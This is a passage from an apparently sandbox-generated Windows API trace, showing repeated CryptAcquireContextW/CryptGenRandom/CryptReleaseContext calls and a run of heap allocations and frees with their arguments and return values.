returned 1 [0030.767] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.767] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.768] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.768] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.768] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.769] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.769] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.769] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.769] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.769] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.770] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.770] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.770] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.770] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.771] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.771] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.771] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.772] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.772] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.772] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.773] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.773] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.773] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.773] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.773] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.773] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.774] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.774] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.774] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.775] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.775] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.775] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.775] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.775] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.776] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.776] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.776] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.776] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.777] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.777] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.777] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.778] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.778] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.778] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.778] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.778] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.778] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.779] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.779] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.779] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.780] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.780] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.780] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.780] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.780] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0030.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0030.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.781] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.781] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.781] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0030.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511668 [0030.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x510380 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511780 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x5111f0 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514e18 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.787] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.788] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.788] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.788] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.788] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.788] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.788] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.789] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.789] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.792] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.793] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.793] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.793] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.793] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.793] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.793] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.794] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.794] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.794] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.795] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.795] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.795] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.795] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.795] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.796] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.796] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.796] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.796] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.797] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.797] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.797] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.798] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.798] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.798] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.798] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.798] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.799] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.799] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.799] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.799] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.800] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.800] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.800] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.801] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.801] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.801] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.801] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.801] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.801] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.802] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.802] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.802] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.803] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.803] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.803] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.803] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.803] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.803] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.804] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.804] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.804] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.805] 